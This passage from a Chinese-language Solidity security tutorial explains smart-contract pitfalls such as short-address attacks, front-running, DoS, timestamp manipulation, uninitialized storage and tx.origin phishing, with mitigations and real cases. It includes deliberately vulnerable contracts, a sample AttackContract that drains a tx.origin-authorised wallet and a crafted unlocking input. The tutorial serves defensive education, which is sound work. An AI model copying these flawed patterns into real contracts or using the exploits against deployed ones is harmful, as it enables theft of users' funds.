最明显的例子是,当用户请求提款时,不会验证ERC20代币的地址。
请想象一下标准的ERC20 transfer函数的接口(注意参数的顺序),如:
function transfer(address to,uint tokens) public returns(bool success);
举例说明:
现在交易,一个用户持有大量的代币(如REP),希望提出其中的100个。用户将提交它们的地址:
0xdeaddeaddeaddeaddeaddeaddeaddeaddeaddead
以及提取代币数量100。
这时,交易会按照transfer函数指定的顺序编码这些参数,即先是address然后是tokens。编码的结果将是:
a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeaddead0000000000000000000000000000000000000000000000056bc75e2d63100000
其中,前四个字节(a9059cbb)是transfer()函数的签名/选择器,第二个32字节是地址,最后的32个字节代表数据类型为uint256的代币。
请注意,末尾的十六进制
56bc75e2d63100000
相当于100个代币(根据REP代币合约的规定,小数点后有18位)。
好了,现在让我们看看如果发送一个缺少1个字节(2个十六进制数字)的地址会发生什么。具体来说,如果攻击者发送
0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde
作为一个地址(缺少了末尾的两位数字),并同样发送取回100个代币的指令。如果这个兑换没有验证这个输入,它将被编码为:
a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeadde0000000000000000000000000000000000000000000000056bc75e2d6310000000
请注意,00已经被填充到编码的末尾,补全了所发送的短地址。当它被发送到智能合约时,地址参数将被解读为:
0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde00
同时,该值会被解读为:
56bc75e2d6310000000(注意这两个多出的0)。
这时,代币的价值已经变成了25,600,翻了256倍。也就是说,用户会提取25,600个代币(而交易所却认为用户只能取回100个)到修改后的地址。
避坑技巧
显而易见,在将所有输入发送到区块链之前进行验证,将会有效防止这类攻击。此外,参数排序在这里起着重要的作用。由于填充只发生在最后,智能合约中对参数的仔细排序可以防患于未然。
9. 未检查的CALL的返回值
在Solidity中,有很多方法可以执行外部调用,将以太币传送到外部帐户通常是通过transfer()方法进行的。然而,send()函数也可以使用,并且对于更多用途的外部调用,CALL操作码可以直接用于Solidity中。call()和send()函数返回一个布尔值来表示调用是成功还是失败。
因此,这些函数有一个简单的警告,即如果外部调用失败(初始化call()或send()失败,而不是call()或send()返回false),则执行这些函数的交易将不会恢复。当返回值没有被检查时,会出现一个常见的陷阱,而开发者则预期会出现一个复原,所以一般使用call()或者send(),都会使用require(msg.sender.call())\require(msg.sender.send())来检查,以revert状态。
真实案例:Etherpot和King of the Ether
10. 竞争条件/非法预先交易
外部调用与其他合约的组合以及底层区块链的多用户性质,造成了各种潜在的solidity陷阱,用户通过竞争代码的执行得到了非预期的状态。「重新入口」漏洞就是这种竞争条件的一个例子。
在这一部分,我们将更广泛地讨论可能发生在以太坊区块链上的不同竞争条件。
坑点分析
与大多数主链一样,在以太坊中只有当矿工解决了一个共识机制(PoW),这些交易才被认为是有效的。生成该区块的矿工也会选择将哪些交易包含在该区块中,这通常是由交易的gasPrice决定的。
这里就有一个潜在的攻击向量。攻击者可以监视可能包含问题解决方案的交易池,修改或撤销攻击者的权限或更改合约中对攻击者不利的状态。然后攻击者可以从这个交易获得数据,创建一个自己的交易,并且以更高的价格创建自己的交易,并将该交易包含在原始数据之前的区块中。
让我们通过一个例子来看看这个坑是怎么产生的:
pragma solidity ^0.4.23; contract FindThisHash{//即如果用户能找到一个solution进行hash后的值与给出的hash值相同,那么它就能得到1000 wei bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951f9a3ecd7f44d5479b630ee0a; constructor() public payable {} //使得合约中有值 function solve(string solution) public { require(hash == keccak256(bytes(solution))); msg.sender.transfer(1000 wei); } }
让我们假设一个用户发现的解决方案是 「Ethereum!」,他们将「Ethereum!」 作为参数调用solve()。不幸的是,攻击者已经很聪明地观察到任何提交解决方案者的交易池,这个成功的交易还没有记录到区块中。他们看到了这个解决方案,检查了它的有效性,然后提交一个比原始交易价格更高的交易。
由于gasPrice更高,生成该区块的矿工可能会给攻击者更多的优先权,并在原始提交者之前先接受了他们的交易。攻击者会拿走1000以太币,而导致解决了这个问题的用户反而一无所获。
避坑技巧
有两类人可以执行这些正在运行的非法预先交易攻击:1)用户(他们修改交易的gasPrice)和 2)矿工本身(他们可以按照他们认为合适的方式在一个区块中重新对交易排序)。
对于第一类来说,他们的合约比第二类合约要糟糕得多,因为矿工只有在解决了一个区块时才能进行攻击,而对于任何一个专门针对某个特定区块的矿工来说,这种攻击都是不可能的实现的。
我们可以将列出一些防坑措施。
1.首先,我们可以采用在合约中创建逻辑,为gasPrice设置一个上限。这使得用户无法提高gasPrice,这可以避免因提高gasPrice获得超出上限的优先交易顺序。这种预防措施只能减少第一类攻击者(任意使用者)。
在这种情况下,矿工仍然可以攻击合约,因为他们可以无论gasPrice如何,都可以随心所欲地在他们所在区块内进行交易。
2.还有另一个方法是尽可能使用commit-reveal。这种方案要求用户使用隐藏的信息(通常是哈希)发送交易。在将交易包含在一个区块之后,用户发送一个交易来显示发送的数据(显式阶段)。这种方法使得矿工和用户无法确定交易的内容,因此不能对交易进行预警。
然而,这种方法不能隐藏交易的价值,智能合约允许用户发送交易,其提交的数据包括了他们愿意花费的以太币数量。然后用户可以发送任意值的交易。在这个阶段,用户可以获得交易中发送的金额与他们愿意支出金额之间的差额。
真实案例:ERC20与Bancor
在以太坊上发币要遵循ERC20标准,这个标准有一个潜在的预先非法交易漏洞,这一漏洞源自approve()函数。
该标准指定的approve()函数为:
function approve(address _spender,uint _value) returns (bool success)
这个函数允许用户授权其他用户代表他们转移代币。当Alice授权她的朋友Bob花费100个代币时,这个最大的漏洞就显现出来了。但是刚授权后Alice就想要撤回这个授权,改为50个代币,所以她创建了一个交易,将Bob的配额设置为50个代币。
Bob一直在仔细地观察这条链,他看到了这个交易,并建立了一个自己花费100个代币的交易。比起Alice,他的gasPrice更高,交易的优先级也更高。一些approve()函数的实现允许鲍勃转移他的100个代币,然后当Alice的交易被提交时,将鲍勃的交易批准为50个代币,实际上让Bob获得了150个代币。
另一个著名的案例是Bancor。Ivan Bogatty和他的团队记录了最初Bancor实现中的一次的攻击,他在自己的博客详细的记录了这次攻击。从本质上来说,代币的价格是根据交易价值来确定的,用户可以观察Bancor交易的交易池,然后从价格差异中获利。目前Bancor的团队已经解决了这次攻击。
这个漏洞就是通过观察交易池,使自己的交易的gasPrice高于那个限制该交易的交易,这样它就能够在限制之间运行,以此来实现攻击
11. 拒绝服务攻击(DOS)
这个类别非常宽泛,但从根本上来说,它的本质是,让用户可以在一小段时间内,或者在某些情况下永久性地无法使用合约。这可能会永远困住这些合约中的以太币,就像第二次Parity MultiSig黑客攻击那样。
坑点分析
我们知道,智能合约可以通过多种手段使其变得不可操作。在这里,我将只强调一些可能在区块链中不太明显的Solidity编码方式,这些模式可能导致攻击者发起DOS攻击。
主要包括以下几种。
1. 通过外部操作的映射或数组循环。在我的经验中,这种方式的攻击见得太多了。通常情况下,它出现在一个owner希望向他们的投资者分发代币的时候,并且使用了一个与distribute()类似的函数。参见下面代码:
pragma solidity ^0.4.23; contract DistributeTokens { address public owner; address[] investors; uint[] investorTokens; function invest() public payable{ investors.push(msg.sender); investorTokens.push(msg.value * 5); } function distribute() public { require(msg.sender == owner); for(uint i = 0; i < investors.length; i++) { transferToken(investors[i],investorTokens[i]); } } function transferToken(address investor,uint investorToken) public {} }
在这个合约中,它的循环在一个可以被人为放大的数组上运行。攻击者可以创建许多个用户的账户,从而使investor数组更大。攻击者可以通过这样操作做,使执行for循环所需gas超过区块的gas限制,从而使distribute()函数变得不可操作。
2. 所有者操作。所有者在合约中享有特殊特权,并且必须执行一些任务,以便合约进入到下一个状态。一个例子就是一个ICO合约,它要求所有者通过finalize()函数进行操作,使代币可以转让。例如:
bool public isFinalized = false; address public owner; function finalize() public { require(msg.sender == owner); isFinalized = true; } function transfer(address _to,uint _value) returns (bool) { require(isFinalized); super.transfer(_to,_value) }
在这种情况下,如果特权用户owner丢失了他们的密钥,或者变得不活跃,则整个合约就会变得不可操作。而且,如果owner无法调用finalize ()函数,就没有可以转移的代币;也就是说,代币生态系统的整个运行都取决于一个单一的地址。
3. 基于外部调用的进度状态。合约有时是这样写的,为了进入一个新的状态,需要将以太发币送到一个地址,或者等待外部来源的一些输入。当外部调用失败时,或者由于外部原因而被阻止的时候,这些模式可能导致DOS攻击。
在发送以太币的例子中,用户可以创建一个不接受以太币的合约。如果一份合约需要将以太币送到这个地址,以便进入一个新的状态的话,那么合约永远不会达到这一新状态,因为以太币永远不可能被送到合约中。
避坑技巧
1) 在第一个例子中,合约不应该在由外部用户人为操纵的数据结构中循环。可以使用withdrawal,即每个投资者都调用一个撤回函数来独立地声明代币。
2) 在上面的第二个例子中,要求特权用户更改合约状态。在这个例子中,当owner丧失能力时,可以使用故障保护装置。一个解决方案是将owner设置为一个多重签名合约。
另一个解决方案是使用一个时间锁,其中需要在第13行代码中,包括一个基于时间的机制,比如
require(msg.sender == owner || now > unlockTime)
3) 这允许任何用户在一段时间之后最终确认,该时间由unlockTime指定。这种方法也可以用在第三个例子中。
如果需要外部调用才能进入一个新状态的话,则要考虑到它们可能出现的故障,并可能增加一个基于时间的状态进程,否则所希望的调用可能永远不会出现。
真实案例:GovernMental
GovernMental是一个老式的庞氏骗局,积累了大量的以太币。不幸的是,它很容易受到本节中提到的DOS漏洞的影响。
一个 Reddit 帖子描述了合约是如何要求删除一个大的映射,这种映射的删除导致当时的gas成本超过了区块gas的限制,因此无法取回以太币。
合约地址是:
0xF45717552f12Ef7cb65e95476F217Ea008167Ae3
可以从
0x0d80d67202bd9cb6773df8dd2020e7190a1b0793e8ec4fc105257e8128f0506b
中看到交易,最终得到所有以太币共使用了2.5M gas。
12. 操纵区块时间戳
区块时间戳历来有各种应用,例如随机数的熵,锁定资金的时间和各种状态变化的条件语句等。如果在智能合约中不正确地使用区块时间戳,矿工稍微调整时间戳,就可能会带来相当危险后果。
坑点分析
正如上面所说,如果矿工动机不纯,就可以操纵block.timestamp。让我们构建一个简单的游戏,这个游戏很容易被矿工利用。
pragma solidity ^0.4.23; contract Roulette { uint public pastBlockTime; constructor() public payable {} function () public payable { require(msg.value == 10 ether); require(now != pastBlockTime); pastBlockTime = now ; if(now % 15 == 0){ msg.sender.transfer(address(this).balance); } } }
这个合约就像一个简单的彩票系统。每个区块中的一个交易都可以赌10以太币来得到赢得合约余额。这里的假设是,block.timestamp对于最后两位数字是均匀分布的。如果是这样的话,那么中奖的几率将是1/15。
然而,正如我们上面所说,矿工可以根据需要调整时间戳。在这种情况下,如果合约中集合了足够多的以太币,那么一个生成区块的矿工就会有动力去选择一个时间戳。例如,block.timestamp或者now的是0的时间戳。
在这样做的时候,他们可能会赢得锁定在这份合约中的以太币,同时获得全部的回报。由于每个区块只允许一个人下注,这也很容易受到非法预先交易的攻击。
在实践中,区块时间戳是单调增加的,因此矿工不能选择任意的时间戳,它们的时间戳必须比他们的父时间戳要大)。
因此,它们也仅限于在不远的时间段内设置区块时间,否则这些区块将就很可能被网络拒绝,也就是说,节点将不会验证未来时间戳的区块。
避坑技巧
区块时间戳不应该用于熵或产生随机数,例如,它们不应成为(直接或通过某种推导)赢得一场比赛或改变一个重要的状态(如果假设是随机的)的决定性因素。
有敏锐的时间逻辑有时是必要的,例如解锁合约(timelocking)在几周后完成一个 ICO 或强制执行过期日期。有时建议使用block.number和一个平均区块时间来估计时间。
例如,一个星期零10秒钟的区块时间,相当于大约60480个区块生成时间。因为矿工无法轻易操纵区块序数,所以指定一个区块序数来更改合约状态可以更加安全,BAT ICO合约就采用了这一策略。
如果合约不是特别关注矿工操纵的区块时间戳,也可以不用这样做,但是在开发合约时需要注意这一点。
**真实案例:GovernMental **
同样以GovernMental来举例。这个合约的签订者是在一轮中最后加入的玩家(至少一分钟)。因此,作为一名玩家的矿工,可以调整时间戳(在未来的某个时间,使它看起来像一分钟已经过去了),使得看起来玩家是最后加入的(即使这在现实中是不正确的)
13. 构造函数
构造函数是一种特殊的函数,通常在初始化合约时执行关键的任务。在 solidity v0.4.22之前,构造函数被定义为与包含它们的合约具有相同名称的函数。
因此,当一个合约名称在开发过程中发生变化时,如果构造函数的名称没有改变,它就变成了一个正常的、可调用的函数。可以想象,这会导致一些有意思的合约攻击。
这就是为什么想在的构造函数声明的方法是使用constructor() public {}
坑点分析
正如上面所说,如果我们修改了合约的名称,或者在构造函数名称中有一些笔误,这样构造函数就不再匹配合约的名称,从而会变成一个正常的函数。这会导致可怕的后果,尤其是当构造函数执行特权操作的时侯。请看以下合约:
pragma solidity ^0.4.23; contract OwnerWallet { address public owner; function ownerWallet(address _owner) public {//应该写成OwnerWallet才是构造函数 owner = _owner; } function() payable public{} function withdraw() public { require(msg.sender == owner); msg.sender.transfer(address(this).balance); } }
这份合约的功能是收集以太币。通过调用withdraw()函数,只允许所有者撤回所有的以太币。问题是,建构函数并非完全以合约的名称命名。具体来说,OwnerWallet和ownerWallet是不一样的。
因此,任何用户都可以调用ownerWallet()函数,将自己定位为所有者,然后通过调用withdraw()来获取合约中的所有以太币。
避坑技巧
不过,这个问题已经在Solidity 0.4.22版本的编译器中得到了解决。这个版本引入了一个构造函数关键字,用该关键字来指定构造函数,而不是要求函数的名称与合约名相匹配。建议使用此关键字指定构造函数,以防止上面强调的命名问题。
真实案例:Rubixi
Rubixi的合约代码是另一个出现这种漏洞的「金字塔计划」。它最初叫做 DynamicPyramid,但是在被部署到Rubixi之前,合约名字已经改变了。而构造函数的名称没有改变,允许任何用户成为创建者。
关于这个bug的一些有趣讨论可以在一些比特币论坛上找到。最终,它允许用户争夺创建者的地位,从金字塔计划中获得费用。
14. 未初始化的存储指针
EVM将数据存为storage或memory。在开发合约时,准确地理解如何使用这个操作至关重要。否则可以因为利用不适当地初始化变量来产生有漏洞的合约。
坑点分析
函数中的局部变量根据它们的类型默认为存在内存中。未初始化的本地存储变量可以指向合约中其他意想不到的存储变量,从而导致有意或无意的漏洞。
让我们考虑下面这个相对简单的名称注册合约:
pragma solidity ^0.4.23; contract NameRegistrar { bool public unlocked = false; struct NameRecord { bytes32 name; address mappedAddress; } mapping(address => NameRecord) public registeredNameRecord; mapping(bytes32 => address) public resolve; function register(bytes32 _name,address _mappedAddress) public { NameRecord newRecord; newRecord.name = _name; newRecord.mappedAddress = _mappedAddress; resolve[_name] = _mappedAddress; registeredNameRecord[msg.sender] = newRecord; require(unlocked);//如果不是解锁状态是不可以register的 } }
这个简单的名称注册合约只有一个函数。当合约解锁时,它允许任何人注册一个名称(作为bytes32哈希),并将该名称映射到地址上。
不幸的是,这个注册器最初是锁定的,最后的require阻止了register()函数添加名称记录。然而,在这个合约中存在一个漏洞,它允许名称注册,而不顾及unlocked的变量。
为了讨论这个漏洞,首先我们需要了解存储在Solidity中是如何工作的。简单来说,状态变量按照合约中出现的顺序保存在slot中(它们可以组合在一起,但不是在这个例子中的问题,所以不过多讨论)。
因此,解锁存在于slot 0中,registeredNameRecord 存在于slot 1中,resolve存在于slot 2中(结构体不考虑在内,为什么呢????????)。每个slot都是32字节大小(我们现在忽略了映射的复杂性)。
布尔值unlocked,对于 false看起来像0x000... 0(64个0,不包括0x)或对于true来说是0x000... 1(63个0)。 正如你所看到的,在这个特殊的例子中存在着巨大的存储空间。
我们需要的下一个信息是 Solidity 默认的复杂数据类型(如结构)NameRecord newRecord;,在初始化时作为局部变量存储它们。因此,新记录在NameRecord newRecord; 默认为storage。这种漏洞是由于newRecord没有初始化而引起的。因为它默认为存储,它成为一个指向存储的指针,因为它是未初始化的,它指向了slot 0(即存储解锁的地方)。
值得注意的是,声明之后我们为_name设置了
nameRecord.name
并为
_mappedAddress设置了
nameRecord.mappedAddress
这实际上改变slot 0和slot 1的存储位置,这两个位置同时修改了已解锁的存储空间和与
registeredNameRecord
相关的slot存储位置。
这意味着,只需通过寄存器函数的bytes32名称参数,就可以直接修改解锁。因此,如果名称的最后一个字节是非零的,它将修改存储slot 0的最后一个字节,并直接将unlocked更改为true。
这样的_name值将在unlocked为true的时候通过require()。在Remix中尝试一下这个例子。
注意,如果_name使用了以下值的函数:
0x0000000000000000000000000000000000000000000000000000000000000001
则会通过执行。
一开始为:
然后调用函数register,参数为(0x0000000000000000000000000000000000000000000000000000000000000001,0xca35b7d915458ef540ade6068dfe2f44e8fa733c)
可见unlocked变为了true:
避坑技巧
Solidity的编译器将未初始化的存储变量作为了警告,因此开发者在构建智能合约时应该注意这些警告。当前版本的mist(0.10)不允许编译这些合约。在处理复杂类型时,要明确使用内存还是存储,以确保它们按预期运行。
那就显示初始化:
但是这样会报错:
NameRecord storage newRecord = NameRecord(_name,_mappedAddress);
解决办法是,声明为memory即可:
NameRecord memory newRecord = NameRecord(_name,_mappedAddress);
真实案例:蜜罐OpenAddressLottery和CryptoRoulette
有一个名为OpenAdditsLottery 的Honey pot使用了另外一个未初始化的存储变量,从一些可能的黑客那里收集以太币。
这份合约相当有深度,在Reddit上有一个深度讨论的帖子,感兴趣的话可以去研究一下。
Reddit地址:
https://www.reddit.com/r/ethdev/comments/7wp363/how_does_this_honeypot_work_it_seems_like_a/
另一个honey pot叫CryptoRoulette,也利用了这个技巧来收集一些以太币。你可以在下面地址找到详细的解读:
https://medium.com/@jsanjuas/an-analysis-of-a-couple-ethereum-honeypot-contracts-5c07c95b0a8d
15. 浮点和精确度
在Solidity v0.4.24中,还不支持定点或浮点数。这意味着浮点表示必须在Solidity中使用整数类型。如果实现不当,这可能会导致错误/漏洞。
坑点分析
由于Solidity中没有定点类型,开发者必须使用标准的整型数据类型来实现他们自己的数据。在这个过程中,可能会遇到很多陷阱。
比如下面代码所示的(请忽略溢出和下溢):
pragma solidity ^0.4.23; contract FunWithNumbers{ uint constant public tokensPerEth = 10; uint constant public weiPerEth = 1e18; mapping(address => uint) public balances; function buyTokens() public payable { uint tokens = msg.value/weiPerEth * tokensPerEth;//7 balances[msg.sender] += tokens; } function sellTokens(uint tokens) public { require(balances[msg.sender] >= tokens); uint eth = tokens/tokensPerEth;//13 balances[msg.sender] -= tokens; msg.sender.transfer(eth * weiPerEth); } }
这个简单的代币买卖合约在购买和出售代币过程中有一些明显的问题。虽然买卖代币的数学计算是正确的,但缺少浮点数会导致错误的结果。例如,当在第7行上购买代币时,如果值小于1以太币,初始除法的结果是0,最后乘法的结果也为0(例如200wei除以1e18,weiPerEth等于0)。
同样地,在13行,当出售代币时,任何小于10的代币也会导致结果为0。事实上,这里的四舍五入总是在往下走,所以卖出29个代币,就会产生2以太币。
因此,这份合约的问题是其精度仅限于最近的以太币(例如1e18 wei)。当你需要更高的精度时,或者在处理ERC20代币中的小数时,有时就会很头疼。
避坑技巧
在智能合约中保持正确的精度是非常重要的,尤其是在处理反映经济决策的比率和利率的问题时,应该确保所使用的任何比率或利率允许大数字。
1) 例如,在上面的例子中,我们使用了tokensPerEth 作为利率。但如果使用weiPerTokens会更好,因为它是一个很大的数字。为了解决代币的数量,我们可以做
msg.sender / weiPerTokens
这将得到一个更精确的结果。
2) 另一个需要牢记的是操作的顺序。在上面的例子中,购买代币的计算是
msg.value / weiPerEth * tokenPerEth
请注意,除法发生在乘法之前。如果计算先执行乘法,然后进行除法,那么这个例子就会更加精确,
即msg.value * tokenpereth / weipereth
最后,在定义数字的任意精度时,需要将变量转换为更高的精度,执行所有的数学操作,然后在需要的时候,再转换回输出的精度。通常使用uint256(因为它们最适合gas的使用),在uint256的范围内,大约有60个数量级,其中一些可以专门用于精确的数学运算。
在这种情况下,最好将所有变量保持在稳定的高精度,并在外部应用程序中转换回较低的精度(这实际上就是ERC20代币合约中小数变量的工作原理)。为了了解如何实现这一点以及库是如何做到这一点的,推荐查看Maker DAO DSMath。
真实案例:Ethstick
其实,我没有找到一个特别好的例子来说明四舍五入在合约中引起的问题,但我肯定有很多这样的例子。
如果非要说一下的话,那我们就说下Ethstick好了。这个合约不使用任何扩展的精度,然而它却处理了wei。 因此,这份合约会存在四舍五入的问题,但只是在精度的微观层面上。
它还有一些更严重的缺陷,但这些都与区块链上获得熵的难度有关。
16. tx.origin 授权
Solidity有一个全局变量tx.origin,它遍历整个调用堆栈,并返回原先发送调用(或事务)的帐户地址。在智能合约中使用此变量进行身份验证会使合约很容易受到类似网络钓鱼的攻击。
坑点分析
授权用户使用tx.origin变量的合约通常容易受到网络钓鱼攻击,这种攻击可以欺骗用户在漏洞合约上执行授权操作。
例如下面合约:
pragma solidity ^0.4.23; contract Phishable{ address public owner; constructor(address _owner) public { owner = _owner; } function () public payable{} function withdrawAll(address _recipient) public { require(tx.origin == owner); _recipient.transfer(address(this).balance); } }
这份合约使用tx.origin授权了withdrawAll ()函数,因此,它允许攻击者创建一个攻击合约,如下代码所示:
contract AttackContract { Phishable phishableContract; address public attracker; constructor(Phishable _phishableContract,address _attackerAddress) public { phishableContract = _phishableContract; attracker = _attackerAddress; } function () public { phishableContract.withdrawAll(attracker); } }
为了利用这个合约,攻击者会先对其进行部署,然后说服Phishable合约的所有者向这份合约发送某些数量的以太币。攻击者可以把这个合约伪装成他们自己的私人地址,然后让受害者向地址发送某种形式的交易。
如果不是特别谨慎,几乎不可能注意到代码中有攻击者的地址。而且攻击者也可能会把它当做一个多重签名钱包或者一些高级的存储钱包。
无论什么时候,只要受害者向AttackContract地址发送一个交易(有足够的gas),它都将调用fallback函数,fallback函数又调用Phishable合约的withdrawal()函数,调用参数为attacker。
这样一来就会造成,从Phishable合约中取回所有的资金到了攻击者的地址上。因为这是受害者第一个初始化调用的地址(即Phishable合约的拥有者)。因此,tx.origin会等于owner,这样,在Phishable合约第11行上的require将会顺利执行。
避坑技巧
通过上文可以看出,在智能合约中,不应该使用tx.origin作为授权。这并不是说永远不应该使用tx.origin变量。它在智能合约中确实有一些合法的用例。
例如,如果一个人想要拒绝外部合约调用当前的合约,可以通过require(tx.origin == msg.sender)实现这一要求。这就阻止了中间合约被用来调用当前的合约,从而将合约限制为无码地址。
真实案例:未知
关于这个坑的真实案例,目前还没有发现。
17. 以太坊的怪癖
常混以太坊社区的人,不难发现以太坊有一些有趣的「怪癖」。如果利用好这些「怪癖」,则对智能合约开发很有帮助。
无键(Keyless)以太币
合约地址是确定的,这意味着在实际创建地址之前就可以先对其进行计算。创建合约的地址和产生其他合约的合约也是这种情况。事实上,一份已创建的合约地址由以下函数决定:
keccak256(rlp.encode([<account_address>, <transaction_nonce>])
Keccak256(rlp.encode (account address,transaction nonce))
基本上,一个合约的地址仅仅是一个kecca256哈希,它创建了与帐户交易随机数的联系。对于合约也是如此,但不包括那些合约nonce从1开始而地址的交易nonce从0开始的合约。
这也就是说,给定一个以太坊地址,我们就可以计算出这个地址可能产生的所有合约地址。例如,如果地址0x123000... 000是为了在其第100次交易中创建一个合约,它将通过
kecca256(rlp.encode [0x123... 000,100])
创建合约地址,从而得到合约地址
0xed4cafc88a13f5d58a163e61591b9385b6fe6d1a
这意味着,你可以将以太币发送到一个预先确定的地址(一个没有私人密钥的地址),然后通过稍后在同一个地址上创建的一个合约再取回以太币。构造函数可以用来返回所有预先发送的以太币。
因此,即使有人获取了你所有的以太坊私钥,也很难发现你的以太坊地址或者访问这些隐藏的以太币。事实上,如果攻击者花费了大量的交易,以至于nonce需要访问被你所用到的以太币,它也还是不可能恢复你隐藏的以太币。
我们可以用用下面合约来说明这一点:
pragma solidity ^0.4.23; contract KeylessHiddenEthCreator{ uint public currentContractNonce = 1; function futureAddresses(uint8 nonce) public view returns (address) {//你自己选择nonce,然后根据你选择的nonce以及你自己的账户来生成一个合约地址 if(nonce == 0){ return address(keccak256(0xd6,0x94,this,0x80)); } return address(keccak256(0xd6,0x94,this,nonce)); } function retrieveHiddenEther(address beneficiary) public returns(address) {//beneficiary即受益人 currentContractNonce += 1; //比如如果上面的nonce选择的是2,那么只需要调用一次retrieveHiddenEther函数就能够得到藏在上面生成的合约中的以太币 return new RecoverContract(beneficiary); } function () payable {} } contract RecoverContract{ constructor(address beneficiary) public { selfdestruct(beneficiary); } }
这个合约允许你存储无密钥的以太币。这个函数可以用来计算第一个127个合约地址,并且可以通过指定nonce来产生。
如果你把以太币发送到其中的一个地址,它可以通过多次地调用retrieveHiddenEther(),然后复原回来。例如,如果你选择nonce =4,并将以太币发送到相关的地址,只需要四次调用retrieveHiddenEther(),就能将以太币收回到恶意者的地址。
那么如何避免这一情况呢?我们可以将以太币发送到标准以太坊账户中的地址,然后在正确的nonce中恢复它。但是要小心,如果你意外地超过了需要回收自己以太币的交易nonce,你的以太币将永远丢失。
一次性地址
交易签名采用了椭圆曲线数字签名算法(ECDSA)。按照惯例,为了在以太坊上发送一个已验证的交易,开发者可以使用以太坊私钥签署一个消息。
换句话说,你签署的信息是以太坊交易的组件,包括to、value、gas、gasPrice、nonce和data字段。以太坊签名的结果是三个数字v、r和s。感兴趣的话,可以读一下以太坊的黄皮书。
因此,一个以太坊交易的签名由一个消息和数字v、r以及s组成。我们可以通过使用消息(即交易的详细信息)、r和s来检查签名是否有效。如果派生的以太坊地址与交易的from字段匹配,那么我们就知道r和s是由拥有(或已经获得)私钥的人创建的,因此签名是有效的。
接着,我们考虑一下,假设我们没有私钥,而是为任意交易编写r和s的值。这个交易参数如下:
*{to: "0xa9e", value: 10e18, nonce: 0} *
不难看出,这笔交易将向0xa9e地址发送10个以太币。现在让我们编一些数字r、s 和一个v。如果我们推导出与这些编号相关的以太坊地址,将得到一个随机的以太坊地址,我们称之为0x54321。
知道了这个地址,我们就可以发送10以太币到0x54321的地址,而不需要拥有地址的私钥,并且可以发送交易:
*{to: "0xa9e", value: 10e18, nonce: 0, from: "0x54321"} *
这样我们就可以把钱从随机地址0x54321支付到我们选择的地址0xa9e中了。因此,我们可以设法将以太币储存在一个地址上(没有私钥),并使用一次性交易来收回以太币。
单笔交易空投
「空投」是指在一大群人中分配代币的过程。一般空投通过大量的交易进行处理,每次交易都更新单个或者一批用户的余额。这对于以太坊区块链来说既昂贵又费力。
不过,有一种替代方法,在这种方法中,用户的余额可以用单个交易的代币来完成。
方法是,创建一个Merkle树,其中作为叶子节点的所有用户的地址和余额都被记录在案。这项工作将在链下完成。
Merkle树可以公开发出,然后可以创建一个智能合约,其中包含merkle树的根哈希,它允许用户提交merkle证明来获取它们的代币。因此,一个单一的交易就会允许所有用户兑换他们空投的代币。
其他有意思的Bug合集
- CoinDash: https://www.theregister.co.uk/2017/07/18/coindash_hack/
- SmartBillions: https://www.reddit.com/r/ethereum/comments/74d3dc/smartbillions_lottery_contract_just_got_hacked/
- 交易没有在payload中添加「0x」: https://steemit.com/cryptocurrency/@barrydutton/breaking-the-biggest-canadian-coin-exchange-quadrigacx-loses-67-000-usdeth-due-to-coding-error-funds-locked-in-an-executable
进一步阅读表资料表
- 关于以太坊安全: https://github.com/ethereum/wiki/wiki/Safety
- Solidity安全: https://blog.sigmaprime.io/solidity.readthedocs.io/en/latest/security-considerations.html
- 共识的最佳操作 https://consensys.github.io/smart-contract-best-practices
- 虚拟安全的漏洞、黑客及其修复的历史 https://applicature.com/blog/history-of-ethereum-security-vulnerabilities-hacks-and-their-fixes
- 2018年DApp安全(DASP)十大项目: www.dasp.co/
- 智能合约攻击现状大调查: https://eprint.iacr.org/2016/1007.pdf
- 以太坊智能合约安全: https://medium.com/cryptronics/ethereum-smart-contract-security-73b0ede73fa8
- 从智能合约攻防战中学得的教训: https://medium.com/@chriseth/lessons-learnt-from-the-underhanded-solidity-contest-8388960e09b1